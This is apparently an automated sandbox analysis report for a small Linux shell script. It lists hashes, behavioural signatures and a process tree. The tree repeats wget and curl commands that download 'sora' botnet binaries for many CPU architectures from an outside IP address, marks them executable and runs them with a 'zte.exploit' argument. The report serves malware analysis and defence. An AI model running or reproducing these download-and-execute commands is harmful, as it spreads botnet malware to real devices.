Analysis

  • max time kernel
    1s
  • max time network
    128s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    18/10/2024, 03:05

General

  • Target

    f257b23d5b8d008fd9738742cd7b8c8c55e893f8d95d29aeffbe84bd0af2df70.sh

  • Size

    2KB

  • MD5

    5ee0ae1a52cdb3d257932d6b048f6846

  • SHA1

    074cd5bc461923829a352d3d3b74ca92b72e030a

  • SHA256

    f257b23d5b8d008fd9738742cd7b8c8c55e893f8d95d29aeffbe84bd0af2df70

  • SHA512

    7f917bcdf1f7be589cd8fdd2455740907a4d4941f63b4f4eb548a7ff83a4a1a553aeb5f572a6bbfdd02096c32dc9223b8985f1754494d42ef5e1a16a4a9dd25a

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 14 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 14 IoCs
  • System Network Configuration Discovery 1 TTPs 3 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/f257b23d5b8d008fd9738742cd7b8c8c55e893f8d95d29aeffbe84bd0af2df70.sh
    /tmp/f257b23d5b8d008fd9738742cd7b8c8c55e893f8d95d29aeffbe84bd0af2df70.sh
    1⤵
    • Writes file to tmp directory
    PID:1500
    • /usr/bin/wget
      wget http://93.123.85.141/bins/sora.x86
      2⤵
        PID:1501
      • /usr/bin/curl
        curl -O http://93.123.85.141/bins/sora.x86
        2⤵
          PID:1502
        • /bin/cat
          cat sora.x86
          2⤵
            PID:1506
          • /bin/chmod
            chmod +x config-err-6aBU03 f257b23d5b8d008fd9738742cd7b8c8c55e893f8d95d29aeffbe84bd0af2df70.sh netplan_cmehilj5 robben snap-private-tmp ssh-de3qHQhlbyqj systemd-private-c846bed9a2c44cbf931c5d3f29afcb4c-bolt.service-dn03Ev systemd-private-c846bed9a2c44cbf931c5d3f29afcb4c-colord.service-Daea1A systemd-private-c846bed9a2c44cbf931c5d3f29afcb4c-ModemManager.service-1b7tlV systemd-private-c846bed9a2c44cbf931c5d3f29afcb4c-systemd-resolved.service-NWZFv9 systemd-private-c846bed9a2c44cbf931c5d3f29afcb4c-systemd-timedated.service-GwjbF2
            2⤵
            • File and Directory Permissions Modification
            PID:1507
          • /tmp/robben
            ./robben zte.exploit
            2⤵
            • Executes dropped EXE
            PID:1508
          • /usr/bin/wget
            wget http://93.123.85.141/bins/sora.mips
            2⤵
            • System Network Configuration Discovery
            PID:1510
          • /usr/bin/curl
            curl -O http://93.123.85.141/bins/sora.mips
            2⤵
            • System Network Configuration Discovery
            PID:1511
          • /bin/cat
            cat sora.mips
            2⤵
            • System Network Configuration Discovery
            PID:1512
          • /bin/chmod
            chmod +x config-err-6aBU03 f257b23d5b8d008fd9738742cd7b8c8c55e893f8d95d29aeffbe84bd0af2df70.sh netplan_cmehilj5 robben snap-private-tmp ssh-de3qHQhlbyqj systemd-private-c846bed9a2c44cbf931c5d3f29afcb4c-bolt.service-dn03Ev systemd-private-c846bed9a2c44cbf931c5d3f29afcb4c-colord.service-Daea1A systemd-private-c846bed9a2c44cbf931c5d3f29afcb4c-ModemManager.service-1b7tlV systemd-private-c846bed9a2c44cbf931c5d3f29afcb4c-systemd-resolved.service-NWZFv9 systemd-private-c846bed9a2c44cbf931c5d3f29afcb4c-systemd-timedated.service-GwjbF2
            2⤵
            • File and Directory Permissions Modification
            PID:1513
          • /tmp/robben
            ./robben zte.exploit
            2⤵
            • Executes dropped EXE
            PID:1514
          • /usr/bin/wget
            wget http://93.123.85.141/bins/sora.x86_64
            2⤵
              PID:1516
            • /usr/bin/curl
              curl -O http://93.123.85.141/bins/sora.x86_64
              2⤵
                PID:1517
              • /bin/cat
                cat sora.x86_64
                2⤵
                  PID:1518
                • /bin/chmod
                  chmod +x config-err-6aBU03 f257b23d5b8d008fd9738742cd7b8c8c55e893f8d95d29aeffbe84bd0af2df70.sh netplan_cmehilj5 robben snap-private-tmp ssh-de3qHQhlbyqj systemd-private-c846bed9a2c44cbf931c5d3f29afcb4c-bolt.service-dn03Ev systemd-private-c846bed9a2c44cbf931c5d3f29afcb4c-colord.service-Daea1A systemd-private-c846bed9a2c44cbf931c5d3f29afcb4c-ModemManager.service-1b7tlV systemd-private-c846bed9a2c44cbf931c5d3f29afcb4c-systemd-resolved.service-NWZFv9 systemd-private-c846bed9a2c44cbf931c5d3f29afcb4c-systemd-timedated.service-GwjbF2
                  2⤵
                  • File and Directory Permissions Modification
                  PID:1519
                • /tmp/robben
                  ./robben zte.exploit
                  2⤵
                  • Executes dropped EXE
                  PID:1520
                • /usr/bin/wget
                  wget http://93.123.85.141/bins/sora.i468
                  2⤵
                    PID:1522
                  • /usr/bin/curl
                    curl -O http://93.123.85.141/bins/sora.i468
                    2⤵
                      PID:1523
                    • /bin/cat
                      cat sora.i468
                      2⤵
                        PID:1524
                      • /bin/chmod
                        chmod +x config-err-6aBU03 f257b23d5b8d008fd9738742cd7b8c8c55e893f8d95d29aeffbe84bd0af2df70.sh netplan_cmehilj5 robben snap-private-tmp ssh-de3qHQhlbyqj systemd-private-c846bed9a2c44cbf931c5d3f29afcb4c-bolt.service-dn03Ev systemd-private-c846bed9a2c44cbf931c5d3f29afcb4c-colord.service-Daea1A systemd-private-c846bed9a2c44cbf931c5d3f29afcb4c-ModemManager.service-1b7tlV systemd-private-c846bed9a2c44cbf931c5d3f29afcb4c-systemd-resolved.service-NWZFv9 systemd-private-c846bed9a2c44cbf931c5d3f29afcb4c-systemd-timedated.service-GwjbF2
                        2⤵
                        • File and Directory Permissions Modification
                        PID:1525
                      • /tmp/robben
                        ./robben zte.exploit
                        2⤵
                        • Executes dropped EXE
                        PID:1526
                      • /usr/bin/wget
                        wget http://93.123.85.141/bins/sora.i686
                        2⤵
                          PID:1528
                        • /usr/bin/curl
                          curl -O http://93.123.85.141/bins/sora.i686
                          2⤵
                            PID:1529
                          • /bin/cat
                            cat sora.i686
                            2⤵
                              PID:1530
                            • /bin/chmod
                              chmod +x config-err-6aBU03 f257b23d5b8d008fd9738742cd7b8c8c55e893f8d95d29aeffbe84bd0af2df70.sh netplan_cmehilj5 robben snap-private-tmp ssh-de3qHQhlbyqj systemd-private-c846bed9a2c44cbf931c5d3f29afcb4c-bolt.service-dn03Ev systemd-private-c846bed9a2c44cbf931c5d3f29afcb4c-colord.service-Daea1A systemd-private-c846bed9a2c44cbf931c5d3f29afcb4c-ModemManager.service-1b7tlV systemd-private-c846bed9a2c44cbf931c5d3f29afcb4c-systemd-resolved.service-NWZFv9 systemd-private-c846bed9a2c44cbf931c5d3f29afcb4c-systemd-timedated.service-GwjbF2
                              2⤵
                              • File and Directory Permissions Modification
                              PID:1531
                            • /tmp/robben
                              ./robben zte.exploit
                              2⤵
                              • Executes dropped EXE
                              PID:1532
                            • /usr/bin/wget
                              wget http://93.123.85.141/bins/sora.mpsl
                              2⤵
                                PID:1534
                              • /usr/bin/curl
                                curl -O http://93.123.85.141/bins/sora.mpsl
                                2⤵
                                  PID:1535
                                • /bin/cat
                                  cat sora.mpsl
                                  2⤵
                                    PID:1536
                                  • /bin/chmod
                                    chmod +x config-err-6aBU03 f257b23d5b8d008fd9738742cd7b8c8c55e893f8d95d29aeffbe84bd0af2df70.sh netplan_cmehilj5 robben snap-private-tmp ssh-de3qHQhlbyqj systemd-private-c846bed9a2c44cbf931c5d3f29afcb4c-bolt.service-dn03Ev systemd-private-c846bed9a2c44cbf931c5d3f29afcb4c-colord.service-Daea1A systemd-private-c846bed9a2c44cbf931c5d3f29afcb4c-ModemManager.service-1b7tlV systemd-private-c846bed9a2c44cbf931c5d3f29afcb4c-systemd-resolved.service-NWZFv9 systemd-private-c846bed9a2c44cbf931c5d3f29afcb4c-systemd-timedated.service-GwjbF2
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:1537
                                  • /tmp/robben
                                    ./robben zte.exploit
                                    2⤵
                                    • Executes dropped EXE
                                    PID:1538
                                  • /usr/bin/wget
                                    wget http://93.123.85.141/bins/sora.arm4
                                    2⤵
                                      PID:1540
                                    • /usr/bin/curl
                                      curl -O http://93.123.85.141/bins/sora.arm4
                                      2⤵
                                        PID:1541
                                      • /bin/cat
                                        cat sora.arm4
                                        2⤵
                                          PID:1542
                                        • /bin/chmod
                                          chmod +x config-err-6aBU03 f257b23d5b8d008fd9738742cd7b8c8c55e893f8d95d29aeffbe84bd0af2df70.sh netplan_cmehilj5 robben snap-private-tmp ssh-de3qHQhlbyqj systemd-private-c846bed9a2c44cbf931c5d3f29afcb4c-bolt.service-dn03Ev systemd-private-c846bed9a2c44cbf931c5d3f29afcb4c-colord.service-Daea1A systemd-private-c846bed9a2c44cbf931c5d3f29afcb4c-ModemManager.service-1b7tlV systemd-private-c846bed9a2c44cbf931c5d3f29afcb4c-systemd-resolved.service-NWZFv9 systemd-private-c846bed9a2c44cbf931c5d3f29afcb4c-systemd-timedated.service-GwjbF2
                                          2⤵
                                          • File and Directory Permissions Modification
                                          PID:1543
                                        • /tmp/robben
                                          ./robben zte.exploit
                                          2⤵
                                          • Executes dropped EXE
                                          PID:1544
                                        • /usr/bin/wget
                                          wget http://93.123.85.141/bins/sora.arm5
                                          2⤵
                                            PID:1546
                                          • /usr/bin/curl
                                            curl -O http://93.123.85.141/bins/sora.arm5
                                            2⤵
                                              PID:1547
                                            • /bin/cat
                                              cat sora.arm5
                                              2⤵
                                                PID:1548
                                              • /bin/chmod
                                                chmod +x config-err-6aBU03 f257b23d5b8d008fd9738742cd7b8c8c55e893f8d95d29aeffbe84bd0af2df70.sh netplan_cmehilj5 robben snap-private-tmp ssh-de3qHQhlbyqj systemd-private-c846bed9a2c44cbf931c5d3f29afcb4c-bolt.service-dn03Ev systemd-private-c846bed9a2c44cbf931c5d3f29afcb4c-colord.service-Daea1A systemd-private-c846bed9a2c44cbf931c5d3f29afcb4c-ModemManager.service-1b7tlV systemd-private-c846bed9a2c44cbf931c5d3f29afcb4c-systemd-resolved.service-NWZFv9 systemd-private-c846bed9a2c44cbf931c5d3f29afcb4c-systemd-timedated.service-GwjbF2
                                                2⤵
                                                • File and Directory Permissions Modification
                                                PID:1549
                                              • /tmp/robben
                                                ./robben zte.exploit
                                                2⤵
                                                • Executes dropped EXE
                                                PID:1550
                                              • /usr/bin/wget
                                                wget http://93.123.85.141/bins/sora.arm6
                                                2⤵
                                                  PID:1552
                                                • /usr/bin/curl
                                                  curl -O http://93.123.85.141/bins/sora.arm6
                                                  2⤵
                                                    PID:1553
                                                  • /bin/cat
                                                    cat sora.arm6
                                                    2⤵
                                                      PID:1554
                                                    • /bin/chmod
                                                      chmod +x config-err-6aBU03 f257b23d5b8d008fd9738742cd7b8c8c55e893f8d95d29aeffbe84bd0af2df70.sh netplan_cmehilj5 robben snap-private-tmp ssh-de3qHQhlbyqj systemd-private-c846bed9a2c44cbf931c5d3f29afcb4c-bolt.service-dn03Ev systemd-private-c846bed9a2c44cbf931c5d3f29afcb4c-colord.service-Daea1A systemd-private-c846bed9a2c44cbf931c5d3f29afcb4c-ModemManager.service-1b7tlV systemd-private-c846bed9a2c44cbf931c5d3f29afcb4c-systemd-resolved.service-NWZFv9 systemd-private-c846bed9a2c44cbf931c5d3f29afcb4c-systemd-timedated.service-GwjbF2
                                                      2⤵
                                                      • File and Directory Permissions Modification
                                                      PID:1555
                                                    • /tmp/robben
                                                      ./robben zte.exploit
                                                      2⤵
                                                      • Executes dropped EXE
                                                      PID:1556
                                                    • /usr/bin/wget
                                                      wget http://93.123.85.141/bins/sora.arm7
                                                      2⤵
                                                        PID:1558
                                                      • /usr/bin/curl
                                                        curl -O http://93.123.85.141/bins/sora.arm7
                                                        2⤵
                                                          PID:1559
                                                        • /bin/cat
                                                          cat sora.arm7
                                                          2⤵
                                                            PID:1560
                                                          • /bin/chmod
                                                            chmod +x config-err-6aBU03 f257b23d5b8d008fd9738742cd7b8c8c55e893f8d95d29aeffbe84bd0af2df70.sh netplan_cmehilj5 robben snap-private-tmp ssh-de3qHQhlbyqj systemd-private-c846bed9a2c44cbf931c5d3f29afcb4c-bolt.service-dn03Ev systemd-private-c846bed9a2c44cbf931c5d3f29afcb4c-colord.service-Daea1A systemd-private-c846bed9a2c44cbf931c5d3f29afcb4c-ModemManager.service-1b7tlV systemd-private-c846bed9a2c44cbf931c5d3f29afcb4c-systemd-resolved.service-NWZFv9 systemd-private-c846bed9a2c44cbf931c5d3f29afcb4c-systemd-timedated.service-GwjbF2
                                                            2⤵
                                                            • File and Directory Permissions Modification
                                                            PID:1561
                                                          • /tmp/robben
                                                            ./robben zte.exploit
                                                            2⤵
                                                            • Executes dropped EXE
                                                            PID:1562
                                                          • /usr/bin/wget
                                                            wget http://93.123.85.141/bins/sora.ppc
                                                            2⤵
                                                              PID:1564
                                                            • /usr/bin/curl
                                                              curl -O http://93.123.85.141/bins/sora.ppc
                                                              2⤵
                                                                PID:1565
                                                              • /bin/cat
                                                                cat sora.ppc
                                                                2⤵
                                                                  PID:1566
                                                                • /bin/chmod
                                                                  chmod +x config-err-6aBU03 f257b23d5b8d008fd9738742cd7b8c8c55e893f8d95d29aeffbe84bd0af2df70.sh netplan_cmehilj5 robben snap-private-tmp ssh-de3qHQhlbyqj systemd-private-c846bed9a2c44cbf931c5d3f29afcb4c-bolt.service-dn03Ev systemd-private-c846bed9a2c44cbf931c5d3f29afcb4c-colord.service-Daea1A systemd-private-c846bed9a2c44cbf931c5d3f29afcb4c-ModemManager.service-1b7tlV systemd-private-c846bed9a2c44cbf931c5d3f29afcb4c-systemd-resolved.service-NWZFv9 systemd-private-c846bed9a2c44cbf931c5d3f29afcb4c-systemd-timedated.service-GwjbF2
                                                                  2⤵
                                                                  • File and Directory Permissions Modification
                                                                  PID:1567
                                                                • /tmp/robben
                                                                  ./robben zte.exploit
                                                                  2⤵
                                                                  • Executes dropped EXE
                                                                  PID:1568
                                                                • /usr/bin/wget
                                                                  wget http://93.123.85.141/bins/sora.ppc440fp
                                                                  2⤵
                                                                    PID:1570
                                                                  • /usr/bin/curl
                                                                    curl -O http://93.123.85.141/bins/sora.ppc440fp
                                                                    2⤵
                                                                      PID:1571
                                                                    • /bin/cat
                                                                      cat sora.ppc440fp
                                                                      2⤵
                                                                        PID:1572
                                                                      • /bin/chmod
                                                                        chmod +x config-err-6aBU03 f257b23d5b8d008fd9738742cd7b8c8c55e893f8d95d29aeffbe84bd0af2df70.sh netplan_cmehilj5 robben snap-private-tmp ssh-de3qHQhlbyqj systemd-private-c846bed9a2c44cbf931c5d3f29afcb4c-bolt.service-dn03Ev systemd-private-c846bed9a2c44cbf931c5d3f29afcb4c-colord.service-Daea1A systemd-private-c846bed9a2c44cbf931c5d3f29afcb4c-ModemManager.service-1b7tlV systemd-private-c846bed9a2c44cbf931c5d3f29afcb4c-systemd-resolved.service-NWZFv9 systemd-private-c846bed9a2c44cbf931c5d3f29afcb4c-systemd-timedated.service-GwjbF2
                                                                        2⤵
                                                                        • File and Directory Permissions Modification
                                                                        PID:1573
                                                                      • /tmp/robben
                                                                        ./robben zte.exploit
                                                                        2⤵
                                                                        • Executes dropped EXE
                                                                        PID:1574
                                                                      • /usr/bin/wget
                                                                        wget http://93.123.85.141/bins/sora.m68k
                                                                        2⤵
                                                                          PID:1576
                                                                        • /usr/bin/curl
                                                                          curl -O http://93.123.85.141/bins/sora.m68k
                                                                          2⤵
                                                                            PID:1577
                                                                          • /bin/cat
                                                                            cat sora.m68k
                                                                            2⤵
                                                                              PID:1578
                                                                            • /bin/chmod
                                                                              chmod +x config-err-6aBU03 f257b23d5b8d008fd9738742cd7b8c8c55e893f8d95d29aeffbe84bd0af2df70.sh netplan_cmehilj5 robben snap-private-tmp ssh-de3qHQhlbyqj systemd-private-c846bed9a2c44cbf931c5d3f29afcb4c-bolt.service-dn03Ev systemd-private-c846bed9a2c44cbf931c5d3f29afcb4c-colord.service-Daea1A systemd-private-c846bed9a2c44cbf931c5d3f29afcb4c-ModemManager.service-1b7tlV systemd-private-c846bed9a2c44cbf931c5d3f29afcb4c-systemd-resolved.service-NWZFv9 systemd-private-c846bed9a2c44cbf931c5d3f29afcb4c-systemd-timedated.service-GwjbF2
                                                                              2⤵
                                                                              • File and Directory Permissions Modification
                                                                              PID:1579
                                                                            • /tmp/robben
                                                                              ./robben zte.exploit
                                                                              2⤵
                                                                              • Executes dropped EXE
                                                                              PID:1580
                                                                            • /usr/bin/wget
                                                                              wget http://93.123.85.141/bins/sora.sh4
                                                                              2⤵
                                                                                PID:1582
                                                                              • /usr/bin/curl
                                                                                curl -O http://93.123.85.141/bins/sora.sh4
                                                                                2⤵
                                                                                  PID:1583
                                                                                • /bin/cat
                                                                                  cat sora.sh4
                                                                                  2⤵
                                                                                    PID:1584
                                                                                  • /bin/chmod
                                                                                    chmod +x config-err-6aBU03 f257b23d5b8d008fd9738742cd7b8c8c55e893f8d95d29aeffbe84bd0af2df70.sh netplan_cmehilj5 robben snap-private-tmp ssh-de3qHQhlbyqj systemd-private-c846bed9a2c44cbf931c5d3f29afcb4c-bolt.service-dn03Ev systemd-private-c846bed9a2c44cbf931c5d3f29afcb4c-colord.service-Daea1A systemd-private-c846bed9a2c44cbf931c5d3f29afcb4c-ModemManager.service-1b7tlV systemd-private-c846bed9a2c44cbf931c5d3f29afcb4c-systemd-resolved.service-NWZFv9 systemd-private-c846bed9a2c44cbf931c5d3f29afcb4c-systemd-timedated.service-GwjbF2
                                                                                    2⤵
                                                                                    • File and Directory Permissions Modification
                                                                                    PID:1585
                                                                                  • /tmp/robben
                                                                                    ./robben zte.exploit
                                                                                    2⤵
                                                                                    • Executes dropped EXE
                                                                                    PID:1586

                                                                                Network

                                                                                      MITRE ATT&CK Enterprise v15

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